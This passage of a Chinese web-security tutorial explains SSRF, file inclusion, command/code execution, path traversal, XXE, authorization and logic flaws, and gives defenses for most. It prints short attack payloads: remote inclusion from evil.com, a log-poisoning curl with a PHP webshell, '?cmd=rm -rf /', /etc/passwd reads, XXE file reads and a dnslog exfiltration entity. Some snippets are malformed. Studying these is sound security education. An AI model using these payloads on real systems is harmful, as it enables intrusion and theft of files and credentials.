对内网web应用进行指纹识别
-
读取本地文件
3.产生SSRF漏洞函数
-
curl_init()
: 初始化 cURL 会话,用于发起 HTTP/HTTPS/FTP 等网络请求。-
支持协议:
http://
、https://
、file://
、ftp://
、gopher://
-
-
file_get_contents()
: 读取文件内容(本地或远程)。-
支持协议:
http://
、https://
、file://
、php://filter
(可结合 LFI 漏洞)。
-
-
fsockopen()
: 打开网络套接字连接(TCP/IP)。-
常与
fwrite()
/fread()
组合发送自定义协议数据(如 HTTP/Redis 命令)
-
-
fopen()
: 打开文件或 URL 流。-
类似
file_get_contents()
,支持http://
、file://
等协议,可能读取敏感文件或访问内网。 -
结合
include()
可能导致REC远程代码执行(如php://input
)。
-
4.SSRF-伪协议
伪协议(Pseudo Protocol)是指一些特殊的 URL 协议,它们并非标准的 HTTP/HTTPS 协议,但可以被某些应用程序或库解析和处理。
-
ftp
: 文本传输协议 -
http/https
: 超文本传输协议
http://192.168.161.129:90/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.161.133:8080
-
gopher
: 一种老式的协议,支持发送任意格式的数据-
由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色
-
-
Telnet
: 探测端口协议 -
DICT
: 字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。-
如请求
http://192.168.161.129/test.php?url=dict://192.168.161.133:3306/info
可以获取:目标主机的3306端口上运行着mysq-l5.5.55版本的应用。
-
-
FILE
: 文件上传协议
#如内网服务器里有C:\2.txt;2.txt的内容是222 http://10.0.0.66:90/pikachu/vulssrf_curl.php?url=file:///C:\2.txt ---->我们这里使用file协议进行文件上传,将C盘下的2.txt文件上传并执行了,返回结果是222,最后的1是自动补充的,不管你干啥都会补充个1,所以结尾的1删除就行
-
php
: 读取源代码的功能-
读取PHP文件的源码:
file=php://filter/read=convert.base64-encode/resource=ssrf.php
-
http://192.168.216.128:90/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../1.txt
-
LDAP
: 轻量级目录访问协议
5.SSRF绕过
-
短地址,如:10.0.0.1>10.0.1
-
用
@
替代 . -
用
。
替代 . -
用①替代地址
-
进制转换
-
[::]
,如:http://[::10.0.0.1] -
编码绕过
6.SSRF防护
-
限制协议,只允许http、https;或过滤file:///、dict://、gopher://、ftp:// php://危险schema
-
黑名单限制内网IP,避免内网被用来获取内网数据
-
限制请求端口为http常用端口,如:80、443
-
统一错误信息,避免根据错误信息判断端口状态
-
对请求内容进行识别,验证信息来源
七、文件包含(File Inclusion)漏洞
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件;主要分为本地和远程。
1.文件包含漏洞原理
是指攻击者通过操纵动态文件加载参数,服务器对用户输入变量没有进行严格的过滤,使应用程序包含并执行恶意文件(如本地敏感文件或远程WebShell)。
2.文件包含危害
-
读取敏感文件(如
/etc/passwd
、数据库配置文件)。 -
执行任意代码(通过包含日志文件、上传临时文件等)。
-
配合文件上传漏洞获取WebShell。
3.1常见文件包含函数
函数 | 描述 | 是否支持RFI |
---|---|---|
include() | 包含文件,失败时仅警告(E_WARNING),脚本继续执行。 | 是(需配置) |
include_once() | 同include() ,但会检查是否已包含过。 | 是(需配置) |
require() | 包含文件,失败时致命错误(E_COMPILE_ERROR),脚本终止。 | 是(需配置) |
require_once() | 同require() ,但会检查是否已包含过。 | 是(需配置) |
fopen() | 打开文件,可与文件包含结合利用。 | 否 |
file_get_contents() | 读取文件内容,可能用于RFI。 | 是(需配置) |
注:RFI,Remote File Inclusion(远程文件包含) 需PHP配置 allow_url_fopen=On
和 allow_url_include=On
(默认关闭)。
3.1常见文件包含参数
参数名 | 示例URL | 利用方式 |
---|---|---|
?file= | index.php?file=../../etc/passwd | 目录遍历读取敏感文件 |
?page= | main.php?page=login | 包含恶意PHP文件(如/tmp/uploaded_file ) |
?module= | app.php?module=admin | 加载远程脚本(http://evil.com/shell.txt ) |
?template= | view.php?template=../../../.env | 泄露环境配置文件 |
?lang= | index.php?lang=en | 包含恶意语言包文件 |
4.文件包含攻击手法
4.1本地文件包含漏洞(LFI)
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。
(1)读取敏感文件
?file=../../../../etc/passwd ?file=../.env # 读取Web应用配置文件 ?file=C:\Windows\win.ini
(2)日志文件注入
-
通过包含Web服务器日志(如Apache/Nginx日志)执行PHP代码:
-
发送恶意请求,使日志中记录PHP代码:
curl -A "<?php system($_GET['cmd']); ?>" http://victim.com/
-
包含日志文件:
?file=/var/log/apache2/access.log
-
执行命令:
?file=/var/log/apache2/access.log&cmd=id
-
(3)临时文件利用
-
上传含PHP代码的文件(如图片),包含临时文件路径(需竞争条件):
?file=/tmp/uploaded_file_123.tmp
示例:上传图片马shell.png,复制图片链接,修改URL访问路径
URL文件包含访问:http://123.123.123.123:80/dir_1/include.php?file=./dir_2/dir_3/shell.png
4.2远程文件包含漏洞(RFI)
常与文件上传漏洞联合使用。
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。 (1)直接包含远程WebShell
?file=http://evil.com/shell.txt
条件:
-
PHP配置
allow_url_include=On
(默认关闭)。 -
目标服务器可出网访问攻击者控制的URL。
(2)利用PHP协议
-
php://input:执行POST请求中的代码:
POST /index.php?file=php://input HTTP/1.1 Host: victim.com Content-Type: application/x-www-form-urlencoded <?php system("id"); ?>
-
php://filter:读取文件源码(Base64编码绕过):
?file=php://filter/convert.base64-encode/resource=config.php
5.文件包含使用协议
-
File://访问本地文件系统
-
ftp:// 访问FTP(S)URLS
-
zlib:// 压缩流
-
glob://查找匹配文件路径模式
-
http://访问HTTP(s)网址
-
php://访问各个输入/输出流(I/o streams)
-
data://数据(RFC2397)
-
expect://
6.文件包含预防
-
严格过滤输入参数
-
代码审计
-
Waf防火墙
八、RCE远程命令执行漏洞
<一>.RCE (remote command/code execute)原理:
服务器使用了system()
、exec()
等命令执行函数,提供了远程命令接口,但是对用户输入数据没有进行严格过滤,导致攻击者提交恶意命令拼接到正常命令,让后台执行,从而控制服务器。
1.远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
这些函数直接调用 操作系统命令(如Shell命令),攻击者可通过注入分隔符(;
、|
等)执行任意命令。
PHP命令调用函数 | 描述 | 示例漏洞代码 | 攻击载荷 |
---|---|---|---|
system() | 执行外部命令并输出结果 | system($_GET['cmd']); | ?cmd=id; cat /etc/passwd |
shell_exec() | 执行命令并返回输出(需echo 显示) | echo shell_exec($_GET['cmd']); | ?cmd=ls /tmp |
exec() | 执行命令并返回最后一行输出 | exec($_GET['cmd'], $output); | ?cmd=rm -rf / |
popen() | 打开进程文件指针(可读写命令输入输出) | popen($_GET['cmd'], 'r'); | ?cmd=cat /etc/passwd |
JAVA命令调用函数 | 描述 | 漏洞代码示例 | 攻击载荷示例 |
---|---|---|---|
Runtime.exec() | 直接执行字符串命令,返回 Process 对象。 (可能调用系统 Shell 解析) | java String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd); | cmd=sh -c "id; cat /etc/passwd" (通过 Shell 注入多条命令) |
ProcessBuilder | 通过参数列表执行命令,默认不调用 Shell。 (更安全,但需正确使用) | java String[] args = {"sh", "-c", request.getParameter("cmd")}; new ProcessBuilder(args).start(); | cmd=id+||+cat+/etc/passwd |
2.远程代码执行
通过|
和&
判断是否有:REC
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
这些函数直接执行 PHP代码(而非系统命令),攻击者可注入恶意PHP逻辑。
函数/语法 | 描述 | 示例漏洞代码 | 攻击载荷 |
---|---|---|---|
eval() | 执行字符串中的PHP代码 | eval($_GET['code']); | ?code=system("id"); |
assert() | 检查断言,但可执行代码(PHP < 8.0) | assert($_GET['code']); | ?code=phpinfo() |
create_function() | 动态创建匿名函数(内部使用eval ) | $func = create_function('', $_GET['code']); | ?code=return system("id"); |
preg_replace() | /e 修饰符已弃用,但历史漏洞中可执行代码 | preg_replace("/.*/e", $_GET['code'], ""); | ?code=phpinfo() |
反序列化漏洞 | unserialize() 触发类的 __wakeup() 或 __destruct() 方法 | unserialize($_COOKIE['data']); | 构造恶意序列化数据触发RCE |
动态函数调用 | 通过变量名调用函数 | $_GET['func']($_GET['param']); | ?func=system¶m=id |
3.混合型漏洞
某些场景下,命令执行和代码执行可互相转换:
-
命令执行 → 代码执行:
system("php -r '" . $_GET['code'] . "'"); // 通过PHP命令行执行代码
-
代码执行 → 命令执行:
eval('system("id");'); // 在eval中调用system()
<二>.远程命令预防
-
在执行命令前过滤
-
关键函数转义
-
尽量不要使用命令执行函数
九、目录穿越/目录遍历
1.目录穿越原理
当应用程序通过用户输入的参数(如 filename=../../etc/passwd
)动态加载文件时,未对路径中的 ../
或绝对路径进行过滤,导致攻击者可以跳出预期目录,访问系统任意文件。
常见场景:
-
文件下载接口:
download.php?file=../../config.php
-
日志查看功能:
log_viewer.php?path=../../../var/log/auth.log
-
模板加载:
template.php?name=../../.env
2.目录穿越危害
危害类型 | 具体影响 |
---|---|
敏感信息泄露 | 读取 /etc/passwd 、数据库配置文件(config.php )、.env 文件等。 |
系统权限提升 | 获取 /etc/shadow 或 SSH 私钥(/root/.ssh/id_rsa )。 |
远程代码执行 | 结合文件上传漏洞,覆盖关键文件(如 .htaccess )。 |
拒绝服务(DoS) | 读取大文件(如 /dev/random )耗尽服务器资源。 |
3.目录穿越绕过
(1)基础绕过
-
经典Payload:
-
?file=../../../../etc/passwd ?path=....//....//etc/passwd (双写绕过简单过滤)
(2)编码绕过
编码类型 | 示例 | 解码后 |
---|---|---|
URL 编码 | %2e%2e%2f | ../ |
双重 URL 编码 | %252e%252e%252f | ../ |
UTF-8 编码 | ..%c0%af | ../ (部分系统) |
(3)截断技巧
-
空字节截断(PHP < 5.3):
?file=../../etc/passwd%00.jpg
-
路径截断(Windows):
?file=../../boot.ini[...超过256字符...]
(4)绝对路径利用
-
直接指定绝对路径:
-
?file=/var/www/html/config.php ?file=C:\Windows\win.ini
(5)协议混淆
-
结合
file://
协议:?url=file:///etc/passwd
4.目录穿越防护
-
白名单校验:只允许字母、数字和特定字符(如
-
、_
)。 -
禁止目录跳转:删除所有
../
或./
。 -
限定根目录(PHP):
$base_dir = "/var/www/uploads/"; $real_path = realpath($base_dir . $user_input); if (strpos($real_path, $base_dir) !== 0) { die("路径非法!"); }
十、XXE(XML外部实体注入)漏洞
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)
<一>、基本的PAYLOAD结构:
<?xml version="1.0" encoding="UTF-8"?> #xml文件的声明,指定版本和编码 #------------------------------DTD部分(恶意部分)---------------------------------------- <DOCTYPE root [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> #--------------------------------------DTD------------------------------------------- <root>&f;</root> #主体(触发实体引用)
基本的payload结构由三个部分组成:
(1)XML声明
<?xml ... ?>
:XML 文件的声明,指定版本和编码。
-
version="1.0"
:使用 XML 1.0 标准。 -
encoding="UTF-8"
:字符编码为 UTF-8
(2)DTD定义
-
<!DOCTYPE root [...]>
:-
定义文档类型(DTD),
root
是根元素名称。 -
[...]
中是 DTD 的具体内容。
-
-
<!ENTITY f SYSTEM "file:///etc/passwd">
:-
ENTITY
:声明一个实体(即变量),名为f
。 -
SYSTEM
:表示这是一个外部实体,其值由外部资源提供。 -
"file:///etc/passwd"
:-
实体
f
的内容来自系统文件/etc/passwd
(Linux 用户账户信息文件)。 -
file://
是文件协议,表示从本地文件系统读取。 -
攻击者通过此注入读取敏感文件。
-
-
(3)XML主体
-
<root>...</root>
:XML 的根元素。 -
&f;
:-
引用之前定义的实体
f
,实际内容会被替换为/etc/passwd
的文件内容。 -
解析时,XML 处理器会读取外部文件并注入到此处。
-
1.XXE漏洞原理
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。 XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XML实体是XML文档中的占位符,可以引用内部或外部内容。实体主要分为:
-
内部实体:在文档内部定义
<!ENTITY entity_name "entity_value">
-
外部实体:引用外部资源
<!ENTITY entity_name SYSTEM "URI">
2.XXE漏洞产生与利用
当运维人员使用了低版本php,libxml低于2.9.1,或者程序员设置了libxml_disable_entity_loader可以加载外部实体的时候
-
应用程序接受XML输入
-
使用不安全的XML解析器(默认启用外部实体解析)
-
未对XML输入进行过滤或禁用外部实体
1. 文件读取
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
2. 内网探测/SSRF
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/"> ]> <foo>&xxe;</foo>
3.XXE常用代码执行
<?xml version = "1.0"?> <!DOCTYPE x [ <!ENTITY f SYSTEM "file:///C:/2.txt"> ]> <x>&f;</x>
我们想要去搞别的目录可不可以啊,当然是可以的,只要知道路径,比如一定有的etc/passwd
3.2 XXE盲打
XXE外部实体注入基本上可以分为:有回显和无回显
因为当没有回显的时候,可以借助外带数据通道提取数据(如:dnslog)
<?xml version="1.0" encoding="UTF-8"?> #xml声明、版本、编码 <!DOCTYPE root [ #定义DTD文件,格式为:root-->指定根节点名称 <!ENTITY % remote SYSTEM #system-->声明要使用的外部DTD文件路径,后面加文件URL,注意[]包裹 "http://wcro0e.dnslog.cn">%remote;]> "file:///C://xxe.txt"
4.XXE漏洞防护
禁用外部实体
面试主要会问xxe是什么,在黑白盒中如何找xxe漏洞,有无回显的情况下怎么进行攻击,其实说白了xxe漏洞的验证就是,找到xxe漏洞,用我们的payload结构,修改其中要获取的文件路径,攻击就完事了把,我们的payload是不是有固定结构啊,我们不用记,用的时候能找到就行
十一、越权漏洞
1.原理
服务器对当前用户操作的身份权限没有进行严格校验,导致用户可以操作超出自己权限范围的能力
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
2.越权分类
-
水平越权(低危):发生在具有相同权限级别用户间
-
攻击者可通过修改url参数访问其他用户信息
-
-
垂直越权(高危):发现在具有不同权限级别用户间,普通用户执行管理员权限
-
攻击者通过抓取管理员的数据包,再登陆普通账号,将普通账号的cookie替换到抓到包里的cookie后,再发送请求
-
3.越权的防护
在权限管理中应该遵守: 1.使用最小权限原则对用户进行赋权; 2.使用合理(严格)的权限校验规则; 3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;
十二、逻辑漏洞
原理:
逻辑漏洞(Logical Vulnerability)是指由于程序设计或业务逻辑上的缺陷,导致应用程序在预期外的行为下被攻击者利用的安全问题。与传统的注入、XSS等技术型漏洞不同,逻辑漏洞通常不依赖特定的技术实现,而是源于业务流程或权限控制中的逻辑错误。
-
不依赖技术栈:可能存在于任何语言/框架开发的系统中
-
难以自动化检测:通常需要人工分析业务流程才能发现
-
危害直接:往往直接导致越权访问、资金损失等严重后果
-
修复成本高:通常需要重新设计业务流程而非简单补丁
常见逻辑漏洞:
贩卖机:替换订单ID、优惠卷ID;重复创建
直播:快速进出房间炸房
购物、外卖app:越权,修改别人订单、资料
交易平台:负数转账、体现,修改订单号替换订单
漫画:付费漫画免费看,修改充值金额
音乐:F12查看是否有音乐下载地址
网约车:无限叫车,重复发送协议导致市场混乱
还有很多其他的漏洞,诸如逻辑漏洞、中间件漏洞、反序列化漏洞,这里就不一 一列举了。有兴趣深入学习的,可以去了解了解。
免责声明
免责声明: 本文旨在分享技术复现的相关知识和信息,仅供教育、研究和合法的安全测试之用。使用者应知悉并同意,任何通过本文所提供的技术和信息进行的活动,需遵守适用的法律法规,并获得相关授权。 特此声明,本文作者或发布者不对使用本文所提供的任何技术和信息导致的任何直接或间接损失、损害或法律纠纷承担责任。使用者应对其自身行为负完全责任,并自行承担相关风险。 使用者在使用本文所提供的技术和信息之前,请确保已获得合适的合法授权,并遵守以下准则:
合法使用原则:在任何情况下,禁止利用本文所涉及的技术和信息从事非法、未授权的活动,包括但不限于黑客攻击、非法入侵、未经授权的系统访问、数据篡改或窃取等。使用者应尊重他人的隐私权和知识产权,并严守法律和道德规范。
授权原则:在进行任何测试、复原或演示攻击之前,确保已获得明确的合法授权。未经明确授权进行攻击或测试行为是违法的,一切后果由使用者自行承担。
风险责任原则:使用者应意识到黑客技术复现存在风险,并且可能导致系统崩溃、数据丢失、业务中断或其他潜在的损害。在执行任何技术操作之前,请备份重要数据,并自行承担一切风险和责任。
法律遵守原则:使用者应遵守适用的国家、地区或国际法律法规。在进行学习、实验和测试的过程中,绝不可涉及非法活动,包括但不限于窃取他人信息、破坏公共设施、恶意软件传播或侵犯知识产权等。
请在使用本文所提供技术和信息之前,务必充分理解并接受上述责任和准则。 此免责声明适用于本文提供的任何技术和信息,无论以何种方式传播或使用,使用者一旦进行相关活动即视为接受以上所有规定和责任。